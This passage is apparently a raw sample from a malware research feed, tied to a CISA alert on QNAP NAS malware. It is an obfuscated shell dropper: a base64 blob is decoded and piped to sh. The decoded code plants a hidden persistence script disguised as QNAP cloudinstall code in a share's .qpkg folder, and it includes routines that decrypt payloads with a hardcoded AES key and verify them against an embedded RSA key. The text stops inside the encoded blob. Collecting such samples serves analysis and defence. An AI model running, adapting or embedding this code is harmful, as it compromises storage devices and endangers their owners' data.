Malware-Feed/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/8fd16e639f99cdaa7a2b730fc9af34a203c41fb353eaa250a536a09caf78253b
2021-02-06 08:23:48 -07:00

573 lines
52 KiB
Bash

#!/bin/sh
(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";openssl base64 -d -A <<"EOF"|sh&
KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnIiB8fCB0ZXN0IC1oICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIKY2F0ID4gIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIgPDwiWEVPRiIKIyEvYmluL3NoClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yYW1kaXNrCkNMT1VEX0lOU1RBTExfQUdFTlRfRklMRV9QQVRIPSRDTE9VRF9JTlNUQUxMX1BBVEgvdHVubmVsX2FnZW50LnRhci5iejIKQ09VTlRFUj0xCkVSUk9SX0JBRF9SRVFVRVNUPTQwMAoKaWYgWyAiJGZyb21yY1MiID0gJ1RSVUUnIF07IHRoZW4KY2FzZSAiJDEiIGluCiAgc3RhcnQpCiAgICBTVEFSVF9USU1FPSQoZGF0ZSArIiVUIikKICAgIGVjaG8gLWUgInN0YXJ0OiRTVEFSVF9USU1FIiA+PiAvdG1wLy5jbG91ZGluc3RhbGwubG9nCiAgICB3aGlsZSBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsKICAgIGRvCiAgICAgICAgIyByZXBvcnQgZGV2aWNlIGluZm8gYW5kIGdldCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwIGRvd25sb2FkIHVybAogICAgICAgIERPV05MT0FEX1VSTD1gL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLXJgCiAgICAgICAgaWYgWyAhIC1kICIkQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgIGlmIFsgIiROQVNfQVJDSCIgPT0gIkFSTV82NCIgXTsgdGhlbgogICAgICAgICAgICAgICAgIyBjcmVhdGUgcmFtZGlzayBhbmQgY3JlYXRlIGEgNjRtYiBmaWxlCiAgICAgICAgICAgICAgICAvYmluL21rZGlyIC1wICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgKICAgICAgICAgICAgICAgIC9iaW4vZGQgaWY9L2Rldi96ZXJvIG9mPSRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZSBicz0xTSBjb3VudD02NAogICAgICAgICAgICAgICAgIyBjcmVhdGUgYmxvY2sgc2l6ZSAxSyBmaWxlc3lzdGVtCiAgICAgICAgICAgICAgICAvc2Jpbi9ta2UyZnMgLWIgMTAyNCAkQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEgvaW1hZ2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgZXhwb3J0IFVTRURfTE9PUF9ERVZJQ0U9YC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1mICRDTE9VRF9JTlNUQUxMX1JBTURJU0tfUEFUSC9pbWFnZWAKICAgICAgICAgICAgICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiVVNFRF9MT09QX0RFVklDRSIgIiRVU0VEX0xPT1BfREVWSUNFIgogICAgICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICAgICAjIG1vdW50IHZpcnR1YWwgZGlzawogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAkVVNFRF9MT09QX0RFVklDRSAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICMgY3JlYXRlIGFuZCBtb3VudCB0bXBmcyBmb2xkZXIKICAgICAgICAgICAgICAgIC9iaW4vbWtkaXIgLXAgJENMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAgICAgL2Jpbi9tb3VudCAtdCB0bXBmcyAtbyBzaXplPTY0bSB0bXBmcyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKICAgICAgICBjZCAkQ0xPVURfSU5TVEFMTF9QQVRICgogICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gaHR0cHMqIF1dOyB0aGVuCiAgICAgICAgICAgIFJFUE9SVF9TVUNDRVNTX1RJTUU9JChkYXRlICsiJVQiKQogICAgICAgIGVsc2UKICAgICAgICAgICAgUkVQT1JUX0ZBSUxfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgIGVjaG8gLWUgIiByZXBvcnRfZmFpbDokUkVQT1JUX0ZBSUxfVElNRVxuIHJlc3BvbnNlOiRET1dOTE9BRF9VUkwiID4+IC90bXAvLmNsb3VkaW5zdGFsbC5sb2cKICAgICAgICAgICAgIyBzdG9wIHJldHJ5IHdoZW4gZ290IGJhZCByZXF1ZXN0CiAgICAgICAgICAgICMgcHJldmVudCBwdXQgYmFkIHJlcXVlc3QgYWxsIHRoZSB0aW1lCiAgICAgICAgICAgIGlmIFtbICRET1dOTE9BRF9VUkwgPT0gKiRFUlJPUl9CQURfUkVRVUVTVCogXV07IHRoZW4KICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIGZpCiAgICAgICAgZmkKCiAgICAgICAgIyBkb3dubGFvZCBjbG91ZGluc3RhbGwgYWdlbnQgYXBwCiAgICAgICAgL3Vzci9zYmluL3FjbG91ZF91bmluaXRfZGV2aWNlX3Rvb2wgLW8gIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgLWQgIiRET1dOTE9BRF9VUkwiCgogICAgICAgIGlmIFsgLWYgIiRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCIgXTsgdGhlbgogICAgICAgICAgICBET1dOTE9BRF9GSU5JU0hfVElNRT0kKGRhdGUgKyIlVCIpCiAgICAgICAgICAgICMgdW56aXAgYW5kIGV4ZWN1dGUgY2xvdWRpbnN0YWxsYWdlbnQKICAgICAgICAgICAgL2Jpbi90YXIgLXhmICRDTE9VRF9JTlNUQUxMX0FHRU5UX0ZJTEVfUEFUSCAtQyAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICAgICAgICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RhcnQgJj4gL2Rldi9udWxsCgogICAgICAgICAgICBVTlpJUF9USU1FPSQoZGF0ZSArIiVUIikKICAgICAgICBmaQoKICAgICAgICBpZiBbICEgLWQgIiROQVNfQ0xPVURfSU5TVEFMTF9QQVRIIiBdOyB0aGVuCiAgICAgICAgICAgICMgY3JlYXRlIGZvbGRlciBhbmQgY3JlYXRlIHN5bWJvbGljIGxpbmsKICAgICAgICAgICAgL2Jpbi9ta2RpciAtcCAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmh0bWwgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvaW5kZXguaHRtbAogICAgICAgICAgICAvYmluL2xuIC1zICRDTE9VRF9JTlNUQUxMX1BBVEgvdWkvY2xvdWRpbnN0YWxsLmNnaSAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSC9jbG91ZGluc3RhbGwuY2dpCiAgICAgICAgICAgIC9iaW4vbG4gLXMgJENMT1VEX0lOU1RBTExfUEFUSC91aS9zdGF0aWMgJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgvc3RhdGljCiAgICAgICAgZmkKCiAgICAgICAgIyB3YWl0IGNvbm5lY3QKICAgICAgICBzbGVlcCA1CiAgICAgICAgQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVD1gL2Jpbi9wcyAtLWNvbHVtbnMgMjU2IHwgL2Jpbi9ncmVwICIkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxhZ2VudCIgfCAvYmluL2dyZXAgLXYgZ3JlcCB8IC9iaW4vYXdrICd7cHJpbnQgJDF9J2AKICAgICAgICBpZiBbICIkQ0xPVURfSU5TVEFMTF9BR0VOVF9QSURfTElTVCIgPT0gIiIgXTsgdGhlbgogICAgICAgICAgICBTTEVFUF9USU1FPSQoKCAzMCAqICRDT1VOVEVSICkpCiAgICAgICAgICAgIGlmIFsgJFNMRUVQX1RJTUUgLWd0IDMwMCBdOyB0aGVuCiAgICAgICAgICAgICAgICBTTEVFUF9USU1FPTMwMAogICAgICAgICAgICBmaQogICAgICAgICAgICAjIHdhaXQgbmV4dCByZXRyeQogICAgICAgICAgICBzbGVlcCAkU0xFRVBfVElNRQogICAgICAgIGZpCiAgICAgICAgQ09VTlRFUj0kKCggJENPVU5URVIgKiAyICkpCiAgICBkb25lCgogICAgRU5EX1RJTUU9JChkYXRlICsiJVQiKQogICAgZWNobyAtZSAicmVwb3J0X3N1Y2Nlc3M6JFJFUE9SVF9TVUNDRVNTX1RJTUVcbmRvd25sb2FkX2ZpbmlzaDokRE9XTkxPQURfRklOSVNIX1RJTUVcbnVuemlwX2ZpbmlzaDokVU5aSVBfVElNRVxuZW5kOiRFTkRfVElNRSIgPj4gL3RtcC8uY2xvdWRpbnN0YWxsLmxvZwogICAgIyBjYWxsIGZvciBhIG5ldyBwcm9jZXNzIGdyb3VwIGFuZCBmb3IgbGF0ZXIga2lsbAogICAgL2Jpbi9zZXRzaWQgJENMT1VEX0lOU1RBTExfUEFUSC9iaW4vY2xvdWRpbnN0YWxsX2FnZW50X2Rpc2Nvbm5lY3RfZGFlbW9uLnNoIHN0YXJ0ICY+IC9kZXYvbnVsbCAmCiAgICAvYmluL3NldHNpZCAkQ0xPVURfSU5TVEFMTF9QQVRIL2Jpbi9jbG91ZGluc3RhbGxfYWdlbnRfZGFlbW9uLnNoICY+IC9kZXYvbnVsbCAmCgogICAgIyBzZXQgY2xvdWRpbnN0YWxsIHJlcG9ydCBzdGF0dXMKICAgIC9zYmluL3NldGNmZyAtZiAkUUlEX1BSRVNJU1RFTlRfQ09ORiAiQ0xPVURJTlNUQUxMIiAiUkVQT1JUX1NUQVRVUyIgInVuaW5pdCIKICAgICMgYWRkIGxpbmsgdG8gcmVwb3J0IG9mZmxpbmUKICAgIC9iaW4vbG4gLXNmIC9ldGMvaW5pdC5kL2Nsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZS5zaCAvZXRjL3JjSy5kL0s5OWNsb3VkaW5zdGFsbF9yZXBvcnRfb2ZmbGluZQoKICAgICMgYnV6emVyCiAgICBIQVJEV0FSRV9UWVBFPSQodW5hbWUgLW0pCiAgICBpZiBbWyAiJEhBUkRXQVJFX1RZUEUiID09ICoieDg2IiogXV07CiAgICB0aGVuCiAgICAgIC9zYmluL2hhbF9hcHAgLS1zZV9idXp6ZXIgZW5jX2lkPTAsbW9kZT0xMDEKICAgIGVsaWYgW1sgIiRIQVJEV0FSRV9UWVBFIiA9PSAqImFybSIqIF1dOwogICAgdGhlbgogICAgICAvc2Jpbi9waWNfcmF3IDgxCiAgICBmaQogICAgOzsKCiAgc3RvcCkKICAgICMgZGlzY29ubmVjdCBjbG91ZGluc3RhbGwgYWdlbnQKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9jdGwuc2ggc3RvcCAmPiAvZGV2L251bGwKICAgICRDTE9VRF9JTlNUQUxMX1BBVEgvYmluL2Nsb3VkaW5zdGFsbF9hZ2VudF9kaXNjb25uZWN0X2RhZW1vbi5zaCBzdG9wICY+IC9kZXYvbnVsbAogICAgZm9yIGkgaW4gIiR7Q0xPVURfSU5TVEFMTF9BR0VOVF9EQUVNT05fUElEX0xJU1RbQF19IgogICAgZG8KICAgICAgICAjIHVzZSBiYXNoIGtpbGwgaW5zdGVhZCAvYmluL2tpbGwgZm9yIGtpbGwgcHJvY2VzcyBncm91cAogICAgICAgICMgY2xvdWRpbnN0YWxsIGFnZW50IGRhZW1vbiBhbmQgaW5vdGlmeXdhaXQKICAgICAgICBraWxsIC05IC0tIC0kaSAmPi9kZXYvbnVsbAogICAgZG9uZQoKICAgICMgdW1vdW50CiAgICBpZiBbICIkTkFTX0FSQ0giID09ICJBUk1fNjQiIF07IHRoZW4KICAgICAgICAvYmluL3Vtb3VudCAtbCAkVVNFRF9MT09QX0RFVklDRQogICAgICAgIC91c3IvbG9jYWwvc2Jpbi9sb3NldHVwIC1kICRVU0VEX0xPT1BfREVWSUNFCiAgICBlbHNlCiAgICAgICAgL2Jpbi91bW91bnQgLWwgJENMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgICMgcmVtb3ZlIGFsbCBmaWxlcwogICAgaWYgWyAtZCAiJE5BU19DTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkTkFTX0NMT1VEX0lOU1RBTExfUEFUSAogICAgZmkKICAgIGlmIFsgLWQgIiRDTE9VRF9JTlNUQUxMX1BBVEgiIF07IHRoZW4KICAgICAgICAvYmluL3JtIC1yZiAkQ0xPVURfSU5TVEFMTF9QQVRICiAgICBmaQogICAgaWYgWyAtZCAiJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRIIiBdOyB0aGVuCiAgICAgICAgL2Jpbi9ybSAtcmYgJENMT1VEX0lOU1RBTExfUkFNRElTS19QQVRICiAgICBmaQogICAgOzsKCiAgcmVzdGFydCkKICAgICQwIHN0b3AKICAgICQwIHN0YXJ0CiAgICA7OwoKICAqKQogICAgZWNobyAiVXNhZ2U6ICQwIHtzdGFydHxzdG9wfHJlc3RhcnR9IgogICAgZXhpdCAxCmVzYWMKZXhpdCAwCgoKc2V0X2VudigpCnsKCWRlYnVnPWAkQ01EX0dFVENGRyBRc3luYyBEZWJ1ZyAtdSAtZCBOVUxMYAoJaWYgWyAiJGRlYnVnIiAhPSAiTlVMTCIgXTsgdGhlbgoJCS9iaW4vdG91Y2ggJExPR19GSUxFCgllbHNlCgkJL2Jpbi9ybSAtZiAkTE9HX0ZJTEUKCWZpCn0KCnNldF9lbnYKCmRiZygpCnsKCWlmIFsgLWYgIiRMT0dfRklMRSIgXTsgdGhlbgoJCWVjaG8gIltgZGF0ZSAiKyVIOiVNOiVTImBdICRAICIgPj4gJExPR19GSUxFCglmaQp9CgpkYmcgIj4gJDAgJEAgKHBpZCAkJCkiCgpmaQoKZXhwb3J0IFBBVEg9IiR7UEFUSH06L2Jpbjovc2JpbjovdXNyL2JpbjovdXNyL3NiaW46L3Vzci9iaW4vWDExOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbiIKCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcblxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVxuLy9JO3MvXCheXHxcblwpXFtbXlxuXVwrXF1cbi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9Cgp0ZXN0IC1kIC9ldGMvY29uZmlnICYmIGNvbmZkaXI9L2V0Yy9jb25maWcgfHwgeyB0ZXN0IC1kIC9tbnQvSERBX1JPT1QvLmNvbmZpZyAmJiBjb25mZGlyPS9tbnQvSERBX1JPT1QvLmNvbmZpZzsgfQoKYmRpcj0KdGVzdCAtZiAiJHtjb25mZGlyfS9zbWIuY29uZiIgJiYgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YGdldGNmZyAiJGkiIHBhdGggLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiYCAmJiB0ZXN0ICEgLXogIiRiZGlyIiAmJiBiZGlyPWBkaXJuYW1lICIkYmRpciJgICYmIHRlc3QgLWQgIiRiZGlyIiAmJiB0ZXN0d3JpdGVhYmxlPSQobWt0ZW1wICIke2JkaXJ9Ly50bXAuWFhYWFhYIikgJiYgcm0gIiR7dGVzdHdyaXRlYWJsZX0iICYmIGJyZWFrOyBiZGlyPScnOyBkb25lCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgeyBjb21tYW5kIC12IHJlYWRsaW5rID4vZGV2L251bGwgMj4mMSB8fCBsbiAtc2YgL2Jpbi9idXN5Ym94IC91c3IvYmluL3JlYWRsaW5rOyBmb3IgaSBpbiBQdWJsaWMgRG93bmxvYWQgTXVsdGltZWRpYSBXZWIgUmVjb3JkaW5ncyBob21lczsgZG8gYmRpcj1gcmVhZGxpbmsgIi9zaGFyZS8ke2l9IiAyPi9kZXYvbnVsbGAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiBiZGlyPS9zaGFyZS8ke2JkaXIjIyovfSAmJiB0ZXN0IC1kICIkYmRpciIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBnZXRjZmcgU0hBUkVfREVGIGRlZlZvbE1QIC1mICIke2NvbmZkaXJ9L2RlZl9zaGFyZS5pbmZvImAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGJkaXI9YG1vdW50IHwgc2VkIC1uICJzLy4qXChcL3NoYXJlXC9bXiAvXVwrXCkgLiovXDEvZ3AiIHwgaGVhZCAtbiAxYAp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgZm9yIGkgaW4gQ0FDSEVERVYzX0RBVEEgQ0FDSEVERVYyX0RBVEEgQ0FDSEVERVYxX0RBVEEgTUQwX0RBVEE7IGRvIHRlc3QgLWQgIi9zaGFyZS8ke2l9IiAmJiBiZGlyPSIvc2hhcmUvJHtpfSIgJiYgYnJlYWs7IGRvbmU7CnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSIgJiYgYmRpcj0vbW50L0hEQV9ST09UOyB9CmdyZXAgLUYgJycgPDxFT0YgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPSJncmVwIC1GIiB8fCB7IGNvbW1hbmQgLXYgZmdyZXAgPi9kZXYvbnVsbCAyPiYxICYmIGZncmVwPWZncmVwIHx8IGZncmVwPWdyZXA7IH0KCkVPRgp0ZXN0ICIkZmdyZXAiIHx8IGZncmVwPWdyZXAKdGVzdCAiJFJBTkRPTSIgfHwgUkFORE9NPTE3NjUzCmdlbnJzdHIgKCkgCnsgCiAgICBsb2NhbCBzPTsKICAgIGxvY2FsIG1pbj0kezE6LTR9OwogICAgbG9jYWwgbWF4PSR7MjotMTJ9OwogICAgbG9jYWwga3NwYWNlPSIkezM6LWEtekEtWn0iCiAgICB0ciAtZGMgIiRrc3BhY2UiIDwgL2Rldi91cmFuZG9tIHwgeyAKICAgICAgICByZWFkIC1ybiAkKCgkUkFORE9NICUgKCAkbWF4IC0gJG1pbiArIDEgKSArICRtaW4gKSkgczsKICAgICAgICBlY2hvICIkcyIKICAgIH0KfQoKdmVyaWZ5ZmlsZSgpIHsKbG9jYWwgZmlsZT0iJDEiCmxvY2FsIHNpZz0iJHsyOi0kZmlsZV9zfSIKbG9jYWwgb3V0CnRlc3QgISAteiAiJGZpbGUiICYmIHRlc3QgLXMgIiRmaWxlIiB8fCByZXR1cm4gMQp0ZXN0ICEgLXogIiRzaWciICYmIHRlc3QgLXMgIiRzaWciIHx8IHJldHVybiAxCnRlc3QgLWYgIi5yc2FrZXkiIHx8IGVjaG8gIiR2ZXJpZnlrZXkiID4gIi5yc2FrZXkiCm91dD0kKG9wZW5zc2wgZGdzdCAtc2hhMSAtdmVyaWZ5ICIucnNha2V5IiAtc2lnbmF0dXJlICIkc2lnIiAiJGZpbGUiKSAmJiB0ZXN0ICIkb3V0IiA9ICJWZXJpZmllZCBPSyIgJiYgcmV0dXJuIDAKcmV0dXJuIDEKfQoKZGVjcnlwdGZpbGUoKSB7CmxvY2FsIGZpbGU9IiQxIgpsb2NhbCBvZmlsZT0iJHsyOi0ke2ZpbGV9fSIKbG9jYWwga2V5PSc3QzB2SzRTek1PMTV6QnhMRDdYQ2k1aGJqZ1AxWmprSicKb3BlbnNzbCBlbmMgLWQgLWFlcy0yNTYtY2JjIC1rICIka2V5IiAtbWQgc2hhMSAtc2FsdCA8ICIkZmlsZSIgPiAiJHtmaWxlfV9kIiB8fCByZXR1cm4gJD8KdGVzdCAtZiAiJG9maWxlIiAmJiBybSAtZiAiJG9maWxlIgptdiAiJHtmaWxlfV9kIiAiJG9maWxlIiAmJiByZXR1cm4gMApyZXR1cm4gMQp9Cgp2ZXJpZnlrZXk9Jy0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tCk1JSUJvakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBWThBTUlJQmlnS0NBWUVBdC9FRFQ2U0I3NWF0ckhXN0Nwb2cKQ1hxckJNMkNWYkpvJzt2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInZzRyd3dTJyd6MUJwMWkxJwp2ZXJpZnlrZXk9IiR7dmVyaWZ5a2V5fSInQjdCOVdkNTFubzMybHBScU9NKzlHT3IyVzE3eHdKOHBxcFFvdGV4ClJDNXFRU2lTLzdGUzQ4anNQS3NKbnJVaG5zSTFmUkxNNERxc0VGM1VPdWtadURPWVVobHRlRHVNcXFaQnowQUMKUTNZbkxqcmFUamNoTUYwWG1hQUFjV09rZzVNc3hBT0tUZXB1ZTRSL3RuclBBa0FHODZucTVMQTErd2E3b3BOVgpnUXp3RGg3WVhoQm5XejUyK2ViWjlUZXFEMzEvc2I1aG95VUtmMU5yNUhjS2trbE9idXoxT0dRSi8vcGtDYlRDCjJFblF3NnRDUFFoZ1NJQTh3SktrYXhXMGYvVUhQK1lCbVdhNFduK3VQckpKdUhTVk5FSnRBcDJ3bFgzVEhsdHoKMElHUFFFdXpvYWZPQWwzRUZqYXMzSGNUWDJIbEVmbnZBdFJMMmlMeEplYmExblorVTNnZVpPdXhMMU5oV2hOaApwamFMY0t3aGtSY2s3WTVocjFQejhwTERuWHN4NXcwUVV6NlhTOEhWZi9LSG5OWEh1ZkZFbjAxeTlZb1B1YXUxCkRObnBER2JxNjMyQnM4RVNkM3VlSGs5T1kvVVp4V2VOM1VkYnNlRnhLMzVYQWdNQkFBRT0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t